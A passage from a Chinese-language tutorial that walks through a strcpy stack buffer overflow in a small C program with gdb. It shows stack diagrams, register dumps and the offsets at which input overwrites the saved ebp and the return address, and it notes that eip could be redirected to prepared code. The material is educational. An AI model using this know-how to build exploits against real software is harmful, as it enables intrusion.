+--------+&lt;br&gt;                              |4000ae60| (垃圾)&lt;br&gt;                   0xbffff6a0 +--------+ &lt;-- vulFunc的当前esp&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt; &lt;br&gt;           再看看下面的四条指令.&lt;br&gt;           0x8048406 &lt;vulFunc+6&gt;:  mov    0x8(%ebp),%eax    ; 把ebp+8指向的内存单元(4字节)里&lt;br&gt;                                                            ; 的内容赋给eax.&lt;br&gt;           从上图看出vulFunc函数栈帧的ebp+8四字节内存单元里放的是指向&quot;AAAAAAAA&quot;字符串的起始地址.&lt;br&gt; &lt;br&gt;           0x8048409 &lt;vulFunc+9&gt;:  push   %eax              ; eax的值入栈.&lt;br&gt;           把指向&quot;AAAAAAAA&quot;字符串的起始地址入栈.&lt;br&gt;&lt;br&gt;           0x804840a &lt;vulFunc+10&gt;: lea    0xfffffff4(%ebp),%eax&lt;br&gt;           哇! 好吓人呀! 这条指令是干什么的? 让我们慢慢来分析一下.&lt;br&gt;            这条指令是把ebp+0xfffffff4做为地址值赋给eax.&lt;br&gt;           但是ebp的值加上0xfffffff4指向那里呀, 这是我们要弄清楚的.&lt;br&gt;           这里如果我们按正数来加, 那是不行的.&lt;br&gt;           实际上这个十六进制的0xfffffff4所表示的是负数, 要知道它的值, 让我们来算一下.&lt;br&gt;&lt;br&gt;             F    F    F    F    F    F    F    4&lt;br&gt;            +----+----+----+----+----+----+----+----+&lt;br&gt;           |1111|1111|1111|1111|1111|1111|1111|0100|&lt;br&gt;           +----+----+----+----+----+----+----+----+&lt;br&gt;&lt;br&gt;           取反&lt;br&gt;&lt;br&gt;             0    0    0    0    0    0    0    B&lt;br&gt;            +----+----+----+----+----+----+----+----+&lt;br&gt;           |0000|0000|0000|0000|0000|0000|0000|1011|&lt;br&gt;           +----+----+----+----+----+----+----+----+&lt;br&gt;&lt;br&gt;           加一&lt;br&gt;&lt;br&gt;             0    0    0    0    0    0    0    C&lt;br&gt;            +----+----+----+----+----+----+----+----+&lt;br&gt;           |0000|0000|0000|0000|0000|0000|0000|1100|&lt;br&gt;           +----+----+----+----+----+----+----+----+&lt;br&gt;&lt;br&gt;           也就是负的0xc. ebp+0xfffffff4, 即ebp-0xc.&lt;br&gt; &lt;br&gt;           所以ebp+0xfffffff4, 就是现在栈顶指向的那十二个字节的起始地址.&lt;br&gt;&lt;br&gt;           0x804840d &lt;vulFunc+13&gt;: push   %eax&lt;br&gt;           接着把得到的地址入栈.&lt;br&gt;&lt;br&gt;           让程序运行到调用strcpy函数之前看看&lt;br&gt;           (gdb) b *0x804840e&lt;br&gt;           Breakpoint 3 at 0x804840e&lt;br&gt;            (gdb) c&lt;br&gt;           Continuing.&lt;br&gt;&lt;br&gt;           Breakpoint 3, 0x804840e in vulFunc ()&lt;br&gt;           (gdb) x/17x $esp&lt;br&gt;           0xbffff698:     0xbffff6a0      0xbffff856      0x4000ae60      0xbffff704&lt;br&gt;            0xbffff6a8:     0xbffff6b8      0xbffff6b8      0x08048443      0xbffff856&lt;br&gt;           0xbffff6b8:     0xbffff6d8      0x400349cb      0x00000002      0xbffff704&lt;br&gt;           0xbffff6c8:     0xbffff710      0x40013868      0x00000002      0x08048350&lt;br&gt;            0xbffff6d8:     0x00000000&lt;br&gt;&lt;br&gt;           这时进程在内存的相关影像为:&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                    0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                               |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                    0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                   0xbffff6c0 +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                               |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                              |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff6b4 +--------+&lt;br&gt;                               |08048443| vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+ &lt;-- 调用vulFunc函数前的esp&lt;br&gt;                              |bffff6b8| main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+ &lt;-- vulFunc函数的ebp&lt;br&gt;                               |bffff6b8| (垃圾)&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |bffff704| (垃圾)&lt;br&gt;                   0xbffff6a4 +--------+&lt;br&gt;                              |4000ae60| (垃圾)&lt;br&gt;                    0xbffff6a0 +--------+&lt;br&gt;                              |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff69c +--------+&lt;br&gt;                              |bffff6a0| vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                    0xbffff698 +--------+ &lt;-- vulFunc的当前esp&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           我们这里不关心strcpy函数具体运行, 把断点设到调用它的后续指令.&lt;br&gt;           (gdb) b *0x8048413&lt;br&gt;            Breakpoint 4 at 0x8048413&lt;br&gt;           (gdb) c&lt;br&gt;           Continuing.&lt;br&gt;&lt;br&gt;           Breakpoint 4, 0x8048413 in vulFunc ()&lt;br&gt;           (gdb) x/17x $esp&lt;br&gt;           0xbffff698:     0xbffff6a0      0xbffff856      0x41414141      0x41414141&lt;br&gt;            0xbffff6a8:     0xbffff600      0xbffff6b8      0x08048443      0xbffff856&lt;br&gt;           0xbffff6b8:     0xbffff6d8      0x400349cb      0x00000002      0xbffff704&lt;br&gt;           0xbffff6c8:     0xbffff710      0x40013868      0x00000002      0x08048350&lt;br&gt;            0xbffff6d8:     0x00000000&lt;br&gt;&lt;br&gt;           这时进程在内存中的相关影像为:&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                    0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                               |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                    0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                   0xbffff6c0 +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                               |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                              |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff6b4 +--------+&lt;br&gt;                               |08048443| vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+ &lt;-- 调用vulFunc函数前的esp&lt;br&gt;                              |bffff6b8| main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+ &lt;-- vulFunc函数的ebp&lt;br&gt;                               |bffff600|&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |41414141|&lt;br&gt;                   0xbffff6a4 +--------+&lt;br&gt;                              |41414141|&lt;br&gt;                   0xbffff6a0 +--------+&lt;br&gt;                               |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff69c +--------+&lt;br&gt;                              |bffff6a0| vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                   0xbffff698 +--------+ &lt;-- vulFunc的当前esp&lt;br&gt;                               | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           我们注意到在vulFunc函数栈帧中所分配的那十二个字节, 从传递给strcpy函数的起始&lt;br&gt;           地址处被我们所输入的八个&#39;A&#39;(十六进制0x41)填充了.&lt;br&gt;&lt;br&gt;           这是我们的第二个焦点.&lt;br&gt;&lt;br&gt;            同时也注意到, 内存地址0xbffff6a8所指向的四个字节的内容由原来的垃圾数据0xbffff6b8&lt;br&gt;           变成了bffff600.&lt;br&gt;&lt;br&gt;           低字节的00应该就是字符串&quot;AAAAAAAA&quot;的零结尾字节.&lt;br&gt;&lt;br&gt;           所以得出结论: vulFunc函数栈帧中分配的那十二个字节是给局部变量buf(缓冲区)的.&lt;br&gt;           这里会奇怪: 程序中buf缓冲区只定义了十个字节的大小, 为什么为它分配了十二个字&lt;br&gt;            节? 原因是: 内存的分配是以四字节为单位的.所以十个字节(4+4+2)要用三个内存分&lt;br&gt;           配单元, 3*4=12.&lt;br&gt;&lt;br&gt;           如果我们在命令行提供的字串长度为十(多两个字符, 刚好是程序中定义的缓冲区的大&lt;br&gt;           小), 那么内存地址0xbffff6a8所指向的四个字节的内容将是bf004141; 如果增加到十&lt;br&gt;           一个, 内存地址0xbffff6a8所指向的四个字节的内容为00414141, 刚好填满栈帧中分配&lt;br&gt;            给buf的内存空间. 可以看出, 在命令行中提供的字串长度小于12, 程序是不会出错的.&lt;br&gt;&lt;br&gt;           现在让我们看看字串长度等于十二的情况, 这时0xbffff6a8所指向的四个字节的内存单&lt;br&gt;           元已被41414141填满.0xbffff6ac所指向的四个字节的内存单元的低字节被00所填, 其内&lt;br&gt;           容变为bffff600, 从上面的影像图可知: 这个内存单元里保存的是调用函数的ebp. 也就&lt;br&gt;            是说, 当字串长度大于或等于十二时, 调用函数的ebp被复盖.&lt;br&gt;&lt;br&gt;           从进程的影像图可以看出, 要想全面复盖vulFunc函数的返回地址, 则字节串的长度至少&lt;br&gt;           要二十(12+8)个字节.&lt;br&gt;&lt;br&gt;           我们继续分析后面的指令:&lt;br&gt;           0x8048413 &lt;vulFunc+19&gt;: add    $0x8,%esp  ; 栈帧缩小8个字节--放弃了两个内存存储单元.&lt;br&gt; &lt;br&gt;           可以看到, 在调用strcpy前, 依次压了s和buf的地址入栈, 现在这条指令是把这两个地址抛弃.&lt;br&gt;&lt;br&gt;           所以可以得出, Linux x86系统在调用函数时(其实是编译器所生成的机器指令), 所传给&lt;br&gt;           被调用函数的参数是由调用函数从右到左依次入栈的.&lt;br&gt;           如现在的strcpy(buf, s), 首先是s先入栈, 然后是buf. 参数的出栈也由调用函数负责.&lt;br&gt; &lt;br&gt;           0x8048416 &lt;vulFunc+22&gt;: lea    0xfffffff4(%ebp),%eax&lt;br&gt;           0x8048419 &lt;vulFunc+25&gt;: push   %eax&lt;br&gt;           这两条指令和前面的一样, 把argv[1](即&quot;AAAAAAAA&quot;字串)的起始地址入栈.&lt;br&gt;&lt;br&gt;           0x804841a &lt;vulFunc+26&gt;: push   $0x80484b0&lt;br&gt;            先看一下0x80484b0里面放的是什么, 虽然很明显是即将调用的printf函数的第一个参数的地址.&lt;br&gt;           (gdb) x/1s 0x80484b0&lt;br&gt;           0x80484b0 &lt;_IO_stdin_used+4&gt;:    &quot;String=%s\n&quot;&lt;br&gt;           果然是.&lt;br&gt;&lt;br&gt;           下面的两条指令就是调用printf函数和抛弃在栈中的两个参数了.&lt;br&gt;            0x804841f &lt;vulFunc+31&gt;: call   0x8048330 &lt;printf&gt;&lt;br&gt;           0x8048424 &lt;vulFunc+36&gt;: add    $0x8,%esp&lt;br&gt;&lt;br&gt;           我们在0x08048427 leave 指令的前面设个断点并继续运行.&lt;br&gt;           (gdb) b *0x8048427&lt;br&gt;            Breakpoint 5 at 0x8048427&lt;br&gt;           (gdb) c&lt;br&gt;           Continuing.&lt;br&gt;           String=AAAAAAAA&lt;br&gt;&lt;br&gt;           Breakpoint 5, 0x8048427 in vulFunc ()&lt;br&gt;           屏幕输出了&quot;String=AAAAAAAA&quot;.&lt;br&gt; &lt;br&gt;           这时栈帧的内容为:&lt;br&gt;           (gdb) x/15x $esp&lt;br&gt;           0xbffff6a0:     0x41414141      0x41414141      0xbffff600      0xbffff6b8&lt;br&gt;           0xbffff6b0:     0x08048443      0xbffff856      0xbffff6d8      0x400349cb&lt;br&gt;            0xbffff6c0:     0x00000002      0xbffff704      0xbffff710      0x40013868&lt;br&gt;           0xbffff6d0:     0x00000002      0x08048350      0x00000000&lt;br&gt;&lt;br&gt;           进程在内存中的相关影像为:&lt;br&gt;                   (内存高址)&lt;br&gt;                               | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350|&lt;br&gt;                               +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                               +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                   0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                   0xbffff6c0 +--------+&lt;br&gt;                               |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                              |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                               |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff6b4 +--------+&lt;br&gt;                              |08048443| vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+ &lt;-- 调用vulFunc函数前的esp&lt;br&gt;                               |bffff6b8| main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+ &lt;-- vulFunc函数的ebp&lt;br&gt;                              |bffff600|&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |41414141|&lt;br&gt;                    0xbffff6a4 +--------+&lt;br&gt;                              |41414141|&lt;br&gt;                   0xbffff6a0 +--------+ &lt;-- vulFunc的当前esp&lt;br&gt;                              |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                    0xbffff69c +--------+&lt;br&gt;                              |bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                   0xbffff698 +--------+&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt; &lt;br&gt;           各寄存器的状况:&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0x10     16&lt;br&gt;           ecx            0x400    1024&lt;br&gt;           edx            0x4010a980       1074833792&lt;br&gt;           ebx            0x4010c1ec       1074840044&lt;br&gt;            esp            0xbffff6a0       -1073744224&lt;br&gt;           ebp            0xbffff6ac       -1073744212&lt;br&gt;           esi            0x4000ae60       1073786464&lt;br&gt;           edi            0xbffff704       -1073744124&lt;br&gt;            eip            0x8048427        134513703&lt;br&gt;           eflags         0x296    662&lt;br&gt;           (以下省略)&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           请注意: 此时esp的内容为0xbffff6a0, ebp的内容为0xbffff6ac&lt;br&gt;           单步运行leave指令, 然后看一下寄存器的情况.&lt;br&gt;            (gdb) si&lt;br&gt;           0x8048428 in vulFunc ()&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0x10     16&lt;br&gt;           ecx            0x400    1024&lt;br&gt;           edx            0x4010a980       1074833792&lt;br&gt;            ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6b0       -1073744208&lt;br&gt;           ebp            0xbffff6b8       -1073744200&lt;br&gt;           esi            0x4000ae60       1073786464&lt;br&gt;            edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x8048428        134513704&lt;br&gt;           eflags         0x396    918&lt;br&gt;           (以下省略)&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           此时的esp的内容为0xbffff6b0, 即执行leave指令前的ebp内容0xbffff6ac+4;&lt;br&gt;            ebp的内容为0xbffff6b8, 这个值从那来的呢? 看一下此时进程在内存中的影像, 正好是&lt;br&gt;           vulFunc函数的ebp指向的内存的内容, 而随着这个值的出栈, esp的值正好为0xbffff6b0.&lt;br&gt;&lt;br&gt;           由此可见, leave指令其实等价于&lt;br&gt;           mov    %ebp,%esp&lt;br&gt;           pop    %ebp&lt;br&gt;            这两条指令, 正好和刚进入被调用函数时&lt;br&gt;           push    %ebp&lt;br&gt;           mov    %esp,%ebp&lt;br&gt;           这两条指令的功能相反.&lt;br&gt;           也就是说leave指令抛弃了被调用函数的栈帧, 恢复了调用函数的栈帧.&lt;br&gt;&lt;br&gt;           此时栈中相关的内容:&lt;br&gt;           (gdb) x/11x $esp&lt;br&gt;            0xbffff6b0:     0x08048443      0xbffff856      0xbffff6d8      0x400349cb&lt;br&gt;           0xbffff6c0:     0x00000002      0xbffff704      0xbffff710      0x40013868&lt;br&gt;           0xbffff6d0:     0x00000002      0x08048350      0x00000000&lt;br&gt; &lt;br&gt;           进程在内存中的相关影像:&lt;br&gt;&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                               |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                               |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                   0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                    0xbffff6c0 +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                              |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                               |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff6b4 +--------+&lt;br&gt;                              |08048443| vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+ &lt;-- 当前esp&lt;br&gt;                               |bffff6b8| (垃圾) main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+&lt;br&gt;                              |bffff600| (垃圾)&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                    0xbffff6a4 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                   0xbffff6a0 +--------+&lt;br&gt;                              |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff69c +--------+&lt;br&gt;                               |bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                   0xbffff698 +--------+&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           继续执行下条指令: ret&lt;br&gt;            (gdb) si&lt;br&gt;           0x8048443 in main ()&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0x10     16&lt;br&gt;           ecx            0x400    1024&lt;br&gt;           edx            0x4010a980       1074833792&lt;br&gt;            ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6b4       -1073744204&lt;br&gt;           ebp            0xbffff6b8       -1073744200&lt;br&gt;           esi            0x4000ae60       1073786464&lt;br&gt;            edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x8048443        134513731&lt;br&gt;           eflags         0x396    918&lt;br&gt;           (以下省略)&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           可以看出, 从栈中弹出0x8048443(vulFunc函数调用的返回地址)给了eip.&lt;br&gt;            至此vulFunc函数调用完毕, 返回到main函数继续执行.&lt;br&gt;&lt;br&gt;           值得注意的是: 如果象上面所说的, 我们输入的字串长度为二十个&#39;A&#39;--刚好复盖完0xbffff6b0&lt;br&gt;           所指的单元, 那么此时从栈中弹出给eip的内容将是0x41414141, 而不是0x8048443, 程序&lt;br&gt;           将跳到0x41414141去执行那里的指令, 由于0x41414141对于当前进程来说是不可访问的,&lt;br&gt;            所以导致段出错(Segmentation fault), 进程停止执行.&lt;br&gt;&lt;br&gt;           这是我们的第三个焦点.&lt;br&gt;&lt;br&gt;           如果我们能计算好位移(offset), 用我们准备好的代码的入口地址来覆盖0xbffff6b0所&lt;br&gt;           指的单元, 那么从栈中弹出给eip的内容就是我们的代码的入口地址, 程序将跳到我们的&lt;br&gt;           代码去继续执行.&lt;br&gt; &lt;br&gt;           分析到这里, 我们已经清楚了C语言函数调用的机制了. main函数的后续指令对于我们的&lt;br&gt;           分析已无关紧要. 但是为了保持文章的完整, 我们继续再往下看看.&lt;br&gt;&lt;br&gt;           此时栈的情况:&lt;br&gt;           (gdb) x/10x $esp&lt;br&gt;           0xbffff6b4:     0xbffff856      0xbffff6d8      0x400349cb      0x00000002&lt;br&gt;            0xbffff6c4:     0xbffff704      0xbffff710      0x40013868      0x00000002&lt;br&gt;           0xbffff6d4:     0x08048350      0x00000000&lt;br&gt;&lt;br&gt;           进程在内存中的相关影像:&lt;br&gt;&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                               +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                               |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                               |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                   0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                   0xbffff6c0 +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                    0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                              |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                              |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                    0xbffff6b4 +--------+ &lt;-- 当前esp&lt;br&gt;                              |08048443| (垃圾) vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+&lt;br&gt;                              |bffff6b8| (垃圾) main函数的ebp&lt;br&gt;                    0xbffff6ac +--------+&lt;br&gt;                              |bffff600| (垃圾)&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                   0xbffff6a4 +--------+&lt;br&gt;                               |41414141| (垃圾)&lt;br&gt;                   0xbffff6a0 +--------+&lt;br&gt;                              |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff69c +--------+&lt;br&gt;                              |bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                    0xbffff698 +--------+&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;&lt;br&gt;           再看看后续的指令做了些什么?&lt;br&gt;           0x8048443 &lt;main+23&gt;:    add    $0x4,%esp            ; 抛弃栈中为被调用函数准备的参数.&lt;br&gt;            0x8048446 &lt;main+26&gt;:    jmp    0x804845b &lt;main+47&gt;  ; 跳转到0x804845b继续执行&lt;br&gt;           0x8048448 &lt;main+28&gt;:    mov    0xc(%ebp),%eax       ; 0x8048433 jne的条件判断跳转&lt;br&gt;                                                               ; 入口(即argc!=2的情况)&lt;br&gt;                                                                ; 把ebp+0xc所指向的内存单元的&lt;br&gt;                                                               ; 内容赋给eax, 从上面的分析我&lt;br&gt;                                                               ; 们知道里面放的是argv的地址&lt;br&gt;            0x804844b &lt;main+31&gt;:    mov    (%eax),%edx          ; 把eax指向的地址的内存单元里&lt;br&gt;                                                               ; 的内容赋给edx, 我们知道argv&lt;br&gt;                                                               ; 是个数组, argv的值就是argv[0]&lt;br&gt;            0x804844d &lt;main+33&gt;:    push   %edx                 ; 把argv[0]入栈. 注意这里的&lt;br&gt;                                                               ; argv[0]其实是个地址值.&lt;br&gt;           0x804844e &lt;main+34&gt;:    push   $0x80484bb           ; 把常数0x80484bb入栈&lt;br&gt;                                                                ; 以上为调用printf函数准备参数.&lt;br&gt;           0x8048453 &lt;main+39&gt;:    call   0x8048330 &lt;printf&gt;   ; 调用printf函数&lt;br&gt;           0x8048458 &lt;main+44&gt;:    add    $0x8,%esp            ; 抛弃为调用printf函数准备的参数&lt;br&gt;            0x804845b &lt;main+47&gt;:    leave                       ; 恢复调用main函数的函数的栈帧&lt;br&gt;           0x804845c &lt;main+48&gt;:    ret                         ; 返回到调用main函数的函数&lt;br&gt;&lt;br&gt;           估计0x80484bb指向的是printf函数的format字串, 看看是不是?&lt;br&gt;            (gdb) x/1s 0x80484bb&lt;br&gt;           0x80484bb &lt;_IO_stdin_used+15&gt;:   &quot;Usage: %s &lt;A string&gt;\n&quot;&lt;br&gt;           果然是. 那从0x8048448到0x8048458这段指令就是C语言&lt;br&gt;           printf(&quot;Usage: %s &lt;A string&gt;\n&quot;, argv[0]);&lt;br&gt;            的等价汇编语句了.&lt;br&gt;&lt;br&gt;           我们把断点设到0x804845b, 再继续执行.&lt;br&gt;           (gdb) b *0x804845b&lt;br&gt;           Breakpoint 6 at 0x804845b&lt;br&gt;           (gdb) c&lt;br&gt;           Continuing.&lt;br&gt;&lt;br&gt;           Breakpoint 6, 0x804845b in main ()&lt;br&gt; &lt;br&gt;           下一条指令是leave, 应该是恢复调用函数的函数的栈帧.&lt;br&gt;           单步执行一下, 看看寄存器及栈的情况.&lt;br&gt;           (gdb) si&lt;br&gt;           0x804845c in main ()&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0x10     16&lt;br&gt;           ecx            0x400    1024&lt;br&gt;            edx            0x4010a980       1074833792&lt;br&gt;           ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6bc       -1073744196&lt;br&gt;           ebp            0xbffff6d8       -1073744168&lt;br&gt;            esi            0x4000ae60       1073786464&lt;br&gt;           edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x804845c        134513756&lt;br&gt;           eflags         0x386    902&lt;br&gt;           (以下省略)&lt;br&gt;            ...&lt;br&gt;&lt;br&gt;           (gdb) x/8x $esp&lt;br&gt;           0xbffff6bc:     0x400349cb      0x00000002      0xbffff704      0xbffff710&lt;br&gt;           0xbffff6cc:     0x40013868      0x00000002      0x08048350      0x00000000&lt;br&gt; &lt;br&gt;           下一条指令是ret, 我们知道栈顶放的是main函数的返回地址(0x400349cb).&lt;br&gt;&lt;br&gt;           此时进程在内存中的相关影像:&lt;br&gt;&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                    0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                               |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                    0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                   0xbffff6c0 +--------+&lt;br&gt;                              |400349cb| main函数的返回地址&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 当前esp&lt;br&gt;                               |bffff6d8| (垃圾) 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+&lt;br&gt;                              |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff6b4 +--------+&lt;br&gt;                               |08048443| (垃圾) vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+&lt;br&gt;                              |bffff6b8| (垃圾) main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+&lt;br&gt;                              |bffff600| (垃圾)&lt;br&gt;                    0xbffff6a8 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                   0xbffff6a4 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                   0xbffff6a0 +--------+&lt;br&gt;                               |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff69c +--------+&lt;br&gt;                              |bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                   0xbffff698 +--------+&lt;br&gt;                               | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           再单步执行, 返回到调用main函数的函数&lt;br&gt;           (gdb) si&lt;br&gt;           0x400349cb in __libc_start_main (main=0x804842c &lt;main&gt;, argc=2, argv=0xbffff704, init=0x80482c0 &lt;_init&gt;,&lt;br&gt;                fini=0x804848c &lt;_fini&gt;, rtld_fini=0x4000ae60 &lt;_dl_fini&gt;, stack_end=0xbffff6fc)&lt;br&gt;               at ../sysdeps/generic/libc-start.c:92&lt;br&gt;           92      ../sysdeps/generic/libc-start.c: No such file or directory.&lt;br&gt; &lt;br&gt;           原来是 __libc_start_main 函数调用了我们的main函数, 看来和概述里说的有些出入,&lt;br&gt;           但这对于我们来讲不是很重要. 如果想看源码, 请到../sysdeps/generic/libc-start.c&lt;br&gt;           文件中找.&lt;br&gt;           (gdb) x/16x $esp&lt;br&gt;           